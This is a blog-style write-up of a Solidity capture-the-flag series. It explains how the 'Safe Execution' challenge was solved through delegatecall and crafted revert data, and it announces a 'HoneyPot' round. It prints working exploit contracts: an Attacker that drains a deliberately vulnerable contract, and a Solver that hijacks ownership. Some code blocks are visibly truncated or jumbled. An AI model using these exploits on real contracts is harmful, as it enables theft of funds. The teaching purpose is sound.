Solidity CTF — Part 3: “HoneyPot”

Alexander Wade
Jul 1, 2018 · 10 min read

“Verified” contracts can be misleading…

This article is part 3 of a series of Solidity wargames designed to demonstrate some of the low-level behavior of Solidity through the exploitation of vulnerable code. Each round will attempt to present some unique functionality or combination of functionalities which must be isolated, understood, and exploited in order to complete the challenge. Additionally, each round released will contain a thorough explanation of the previous round.

Part 3: ”HoneyPot”

Part 3 has been deployed to Ropsten. It’s pretty straightforward — just empty the contract’s balance!

Feel free to participate in this Reddit thread and ask questions!

Good luck!

Explanation — Part 2: "Safe Execution"

Part 2 was released in the previous article and broken by address `0xef045a554cbb0016275E90e3002f4D21c6f263e1`. The challenge was to become owner of the contract, which was deployed to Ropsten here.

Just like the last round, we're going to review the code step-by-step (Compiler version 0.4.24, no optimizer):

```
pragma solidity ^0.4.23;

contract SafeExecution {

    address public owner;

    modifier noOwner() {
        require(owner == 0, 'level already completed');
        _;
    }

    bytes4 internal constant SET = bytes4(keccak256('Set(uint256)'));

    function execute(address _target) public noOwner {
        require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) ==

        (bytes4 sel, uint val) = getRet();
        require(sel == SET);
        function () func;
        assembly { func := val }
        func();
    }

    function getRet() internal pure returns (bytes4 sel, uint val) {
        assembly {
            if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
            let ptr := mload(0x40)
            returndatacopy(ptr, 0, 0x24)
            sel := and(mload(ptr), 0xffffffff0000000000000000000000000000000000000000
            val := mload(add(0x04, ptr))
        }
    }

    function setOwnerExt() external { if (false) setOwner(); }

    function setOwner() private { owner = msg.sender; }
}
```

As previously stated, the goal of this round was to make yourself the owner of the contract. There are 2 functions in this contract that can change state, and are visible externally: `execute(address)` and `setOwnerExt()`. Because those are the only functions we can call, let's start there.

Right off the bat, it's pretty apparent `setOwnerExt()` is a no-go. While it does call `setOwner()`, it does so only if `false == true`, which will never happen. Instead, let's examine `execute(address)`:

```
bytes4 internal constant SET = bytes4(keccak256('Set(uint256)'));

function execute(address _target) public noOwner {
  require(
    _target.delegatecall(
      abi.encodeWithSelector(this.execute.selector)
    ) == false, 'unsafe execution'
  );

  (bytes4 sel, uint val) = getRet();
  require(sel == SET);
  function () func;
  assembly { func := val }
  func();
}
```

At first glance, this function may appear incredibly unsafe. `execute` requires a single parameter — an address, to which a `delegatecall` is sent with a small payload. If we review the Solidity documentation for `delegatecall`, we will see why: "…only the code of the given address is used, all other aspects (storage, balance, …) are taken from the current contract." (https://solidity.readthedocs.io/en/v0.4.24/types.html#members-of-addresses)

Plainly, when contract A sends a `delegatecall` to contract B, the code in contract B gets to act on the storage of contract A. This means that regardless of what functions, safeguards, and careful planning went into contract A, a `delegatecall` can alter its storage without any checks in place. In the following example, we see just how easy it is to take control of a contract that allows arbitrary execution via `delegatecall`:

```
pragma solidity ^0.4.23;
```

```

contract Attacker {

    address public owner;

    function () public {
        owner = msg.sender;
        msg.sender.transfer(address(this).balance);
    }
}
```

Attacker.sol hosted with ❤ by GitHub view raw

```
pragma solidity ^0.4.23;

/// VULNERABLE CONTRACT - DO NOT USE
contract Vulnerable {

    address public owner;

    constructor () public payable {
        require(msg.value != 0);
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function () public payable { }

    function withdraw() public onlyOwner() {
        msg.sender.transfer(address(this).balance);
    }

    function getBal() public view returns (uint) {
        return address(this).balance;
    }

    function arbitraryExec(address _target) public {
        require(_target.delegatecall());
    }
}
```

`Vulnerable` has done everything correctly — the `withdraw` function is the only function in this contract that can transfer the contract's balance out of the contract. It's protected by the `onlyOwner` modifier, which ensures that only the creator of the contract is able to access `withdraw`.

However, `Vulnerable` has one fatal flaw — while `arbitraryExec` does not contain inherently malicious code, it does contain an unprotected `delegatecall` to a passed-in address. Deploying both `Vulnerable` and `Attacker`, and feeding the address of `Attacker` into `Vulnerable`, we see that the balance of `Vulnerable` is emptied, and the `owner` address set to the sender.

This is why allowing anyone to `delegatecall` contracts through your contract can be incredibly dangerous: you have no control over what they are able to see, modify, and do. It’s also why at first glance, `execute(address _target)` appears so unsafe. Didn’t we just go over the practice of allowing users to `delegatecall` arbitrary contracts, and how it leaves a massive hole in your contract?

`execute`, however, has a slightly different pattern.

When a `delegatecall` returns to the calling contract, it returns either a `true` or `false`, signifying whether the `delegatecall` reverted or not. What’s awesome about reverted calls is just this — the calling contract can verify whether or not a call reverted. In the case of `execute`, we know the `delegatecall` is performed *safely(!)* because we enforce the returned value to be `false`. Note that this returned value is not any product of the contract that was called; a contract cannot spoof this `false` return value by returning `false`. It is *only* returned if the call reverts.

The following example is a naive solution to “Safe Execution:”

```
pragma solidity ^0.4.23;

contract Soln1 {

  address public owner;

  function execute(address) public {
    owner = msg.sender;
  }
}

contract Soln2 {

  address public owner;

  function execute(address) public {
    owner = msg.sender;
    revert();
  }
}
```

SafeExecutionNaiveSoln.sol hosted with ❤ by GitHub view raw

`Soln1` will correctly set the owner as `msg.sender` when it receives the `delegatecall`. However, upon returning to `SafeExecution`, it will return `true`, as it has not reverted, causing `SafeExecution` to revert.

`Soln2` does the same, but this time also calls `revert();`. While this will correctly pass the check in `SafeExecution.execute(address)`, it passes only because `SafeExecution` was able to observe this revert and ensure that no state changed. `owner` was set to `msg.sender`, but the call to `revert();` removed this state change.

As a result, while `SafeExecution.execute(address)` allows anyone to `delegatecall` to an external contract, it does so in a manner that allows it to ensure that no state is altered in an unintended fashion.

Instead, `execute` defines its own protocol for further execution. To understand what happens next, we need to go over memory and storage locations in Solidity.

Data locations in Solidity

In short, the EVM can be thought of to have 4 different locations in which data is stored. The two most often referenced are `memory` and `storage`, the former being the memory available to the EVM during runtime, and the latter being the actual, persisting state of the contract. For example, a struct initialized during runtime and used to hold a few values will, unless using the `storage` keyword or being assigned to a member in storage, exist only in `memory` and only for the duration of the transaction. On the other hand (and as another single example), a `mapping` will reference contract `storage` and updates to the mapping will be reflected in the contract's state even after execution is complete.

The other two locations are special memory locations: `calldata`, and `returndata`. The former location is the location to which `msg.data` is stored. This is read-only, and will be different for each called contract. Data stored in `calldata` is by default ABI-encoded, so that it can be interpreted correctly by the compiler. The Solidity documentation gives an excellent specification of ABI-encoding here.

`returndata` is another such special location that contains the returned data of the most recent external call. Like `calldata`, it is typically ABI-encoded, save that it does not contain a function selector. This location is also read-only: we cannot directly alter `returndata`, just as we cannot directly alter `calldata`. This may seem a little odd — can’t we assign values to named parameters in a Solidity function?

The answer is yes — but these values are not located in `calldata`. Instead, when a `public` function is called, the named parameters of the function are pushed to the stack. Assigning to them does not change the value of `calldata`, but instead, the value stored on the stack. The following snippet contains a few examples of both `calldata` and `returndata`, and will hopefully clarify the two:

```
pragma solidity ^0.4.23;

contract Calldata {

    // Alters the values on the stack for _a and _b, and returns values not located in
    function ignoreCalldata(address _a, bytes memory _b) public view returns (address,
        _a = address(this);
        _b = new bytes(5);
        _b[0] = 0xaa;
        _b[4] = 0xdd;
        return (_a, _b);
    }

    // Alters the values on the stack for _a and _b, but returns the calldata anyway
    function returnCalldata(address _a, bytes memory _b) public view returns (address,
        _a = address(this);
        _b = new bytes(5);
        _b[0] = 0xaa;
        _b[4] = 0xdd;
        assembly {
            calldatacopy(0, 0, calldatasize) // directly copy from calldata
            return(0x04, sub(calldatasize, 0x04)) // return copied values
        }
    }
}

contract Returndata {

    Calldata internal cd_contract;

    constructor () public {
        cd_contract = new Calldata();
    }
    }

    address internal constant addr = address(0xa);
    bytes internal constant bts = "Hello, world!";

    // Gets returned data from the Calldata contract and returns values not located in
    function ignoreReturndata() public view returns (address a, bytes memory b) {
        // Get values from Calldata.ignoreCalldata -
        (a, b) = cd_contract.ignoreCalldata(msg.sender, 'test');
        // Alter values on stack -
        a = addr;
        b = bts;
        // Return altered values -
        return (a, b);
    }

    // Gets returned data from the Calldata contract and returns values not located in
    function returnReturndata() public view returns (address a, bytes memory b) {
        // Get values from Calldata.ignoreCalldata -
        (a, b) = cd_contract.ignoreCalldata(msg.sender, 'test');
        // Alter values on stack -
        a = addr;
        b = bts;
        // Return values returned from Calldata, instead of the altered a and b -
        assembly {
            returndatacopy(0, 0, returndatasize)
            return(0, returndatasize)
        }
    }
```

the stack representing `calldata`, we are not able to change `calldata` itself. `ignoreCalldata(address,bytes)` assigns new values to `_a` and `_b` and returns those values. `returnCalldata(address,bytes)` does the exact same, but instead of returning altered values, proves that `calldata` remains unchanged by returning the originally sent values copied directly from `calldata`.

Similarly, the second contract demonstrates that we can assign to values on the stack representing `returndata`, but we cannot assign directly to `returndata`.

`Calldata.sol` uses `calldatacopy`, which directly accesses `calldata` and copies it to a target location. `Returndata.sol` uses `returndatacopy`, which does the same for `returndata`.

Great! But how does that help us? Let’s return to `SafeExecution` , and this time look at what happens when `execute(address _target)` calls `getRet()` :

```
sel := and(
      mload(ptr),
0xffffffff00000000000000000000000000000000000000000000000000000000
    )
    val := mload(add(0x04, ptr))function getRet() internal pure
returns (bytes4 sel, uint val) {
  assembly {
    if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
    let ptr := mload(0x40)
    returndatacopy(ptr, 0, 0x24)
    sel := and(
      mload(ptr),
0xffffffff00000000000000000000000000000000000000000000000000000000
    )
    val := mload(add(0x04, ptr))
  }
}
```

Similarly to the above examples, this code snippet uses `returndatasize` and `returndatacopy` . It’s safe to assume we’re accessing `returndata` here and copying it — but to where?

```
if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x24)
```

The first line is simply checking `returndatasize` . It seems a requirement of the returned data is that it is exactly 0x24 (36) bytes in size.

Next, we’re initializing a variable and setting it to point to free memory. 0x40 is Solidity’s free memory pointer — the compiler ensures that each function allocates adequate space in memory for execution prior to execution, and then sets the free memory pointer, 0x40, to point to the first free unused slot. By loading 0x40, we are getting a memory address where we know no important data is currently being stored. From there, we use `returndatacopy` to copy all of the returned data (0x24 bytes) to memory at `ptr` .

```
sel := and(
      mload(ptr),
0xffffffff00000000000000000000000000000000000000000000000000000000
)
val := mload(add(0x04, ptr))
```

`sel` and `val` are referenced directly from the return parameters, `returns (bytes4 sel, uint val)`. Because `sel` is bytes4, we ensure the remainder of the bytes are clean when we load from `ptr`. `val` takes up 32 bytes, so there’s no need to clean bytes — we just load `val` from the location 4 bytes after `ptr`.

From this, we can tell what the structure of the returned data should be: 0x24 bytes, with the first 4 bytes and last 32 bytes likely containing our key values.

It might be worth it here to mention that `revert` and `return` work the same way, in that they can *both* return data to the caller. The difference comes in the status of the call itself — `revert` will have a status of `false`, as state remains unchanged, while `return` will have a status of `true`, indicating that the call succeeded and that state changes may have occured. These values are what we see as the direct ‘return value’ of the `delegatecall`, which may be slightly misleading as this value is actually the status of the call. The actual returned data from a `delegatecall` must be accessed via `returndatacopy`, as seen above.

So: after `_target` is sent a `delegatecall`, `getRet()` checks the returned data and returns it as separate `bytes4` and `uint` values. Because `getRet()` is an internal call, `returndata` persists. To make that more clear: `returndata` can be accessed within the same contract from any function during the same call — as long as another external call is not made, it will be the same (and the same properties hold true for `calldata`).

Continuing execution:

```
require(sel == SET);
function () func;
assembly { func := val }
func();
```

This section is fairly simple, tying in what we know from the previous challenge to assign our function variable, `func`, with a destination to jump to. To wrap up what we know about the data that must be returned (or, ‘reverted’, as it were):

`returndata` must be exactly 0x24 bytes long. The first 4 bytes must be equal to `SET`, defined as `bytes4(keccak256(‘Set(uint256)’));`. The last 32 bytes must be a position to which we would like to `jump`. Using methods from the previous challenge, we can determine that to `jump` directly to the `setOwner()` function, the returned `uint` should be 1134. This is mirrored in the contract used by `0xef045a554cbb0016275E90e3002f4D21c6f263e1` to solve the challenge, located here. Take note of how small the contract is — this was not written in Solidity, but instead as ~10 discrete opcodes, which are executed from top to bottom when called (it may help to click ‘switch to opcodes view’). Briefly, this is a single-purpose contract — it sets the appropriate function selector and jump destination in memory, and reverts those values back to the caller (`‘fd’` is `revert` — etherscan seems not to know this). Very elegant! I’ll cover some of the nuances of working directly with opcodes in a future challenge.

Here’s a high-level solution, written in Solidity (as opposed to the version used by our solver):

```
pragma solidity ^0.4.23;

contract Solver {

    bytes4 internal constant SEL = bytes4(keccak256('Set(uint256)'));

    function execute(address) public pure {
        // constants are not accessible in assembly
        bytes4 sel = SEL;
        assembly {
            // Store sel in memory @ 0x0
            mstore(0, sel)
            // Store 1134 (our jumpdest) in memory, just after sel
            mstore(0x4, 1134)
            // Revert exactly 0x24 bytes to the caller, starting at memory position 0x0
            revert(0, 0x24)
        }
    }
}
```

Solver.sol hosted with ❤ by GitHub view raw

In order to get `revert` to return exactly what we want, we do need to revert (sorry) to using assembly. Otherwise, `revert('message');` will return an ABI-encoded value with the function selector for `Error(string)` at the front. More information can be found in this section of the Solidity docs: https://solidity.readthedocs.io/en/v0.4.24/control-structures.html#error-handling-assert-require-revert-and-exceptions.

What have we learned?

1. Both `revert` and `return` can return data to the caller in exactly the same way.
2. `revert` and `return` differ in that their status is set differently. Calls that `revert` have a status of `false`, while calls that `return` have a status of `true`.
3. There are two special memory locations, `calldata`, and `returndata`, both of which are ‘read-only’, and which persist through internal function calls within the same contract. The former holds `msg.data`, while the latter holds the returned data from the last external call.
4. Contracts *can* safely use `delegatecall` with untrusted contracts, as long as they enforce a `revert` to avoid malicious state changes.

Force-revert delegatecall:

I’d like to expand on the last point a bit more, as I think force-revert delegatecall (‘FRD’) has implications for contract design that are worth mentioning. At Authio, we’ve been working on a smart contract development platform (auth_os) for the past few months that uses FRD (among several other techniques) to allow several applications to *share* a single storage contract with each other without any risk of overwriting. This is done by registering an application with the storage contract, assigning it a unique id, and hashing all of the locations it stores to with that id.

Initially, applications shared storage with each other but did not use `delegatecall`. Instead, they used `staticcall`, which, while also ensuring that no unexpected state changes take place, do *not* allow the called application to read from storage locally; they had to call a function in `AbstractStorage` as an external call, which quickly racked up gas. FRD was developed as an efficient method by which applications could read from storage (without needing to use an external call to do so), while still allowing `AbstractStorage` to verify that no malicious state changes took place.

The architecture used by applications in auth_os expands on the popular ‘upgrade by proxy’ architecture, but uses these unique mechanisms to allow applications to live in the same storage contract (facilitating much more efficient upgradability and interoperability of applications). I propose that FRD should be able to be used in other contexts as well — as an efficient method for safely running external code not known to the developer at compile-time.

Further challenges will cover other unique mechanisms used in the development of auth_os, as well as expand on the current topics covered in the hopes that this series provides a sufficient primer for learning about what’s going on at the base level when compiling and running a contract.

Ethereum Solidity Security Smart Contracts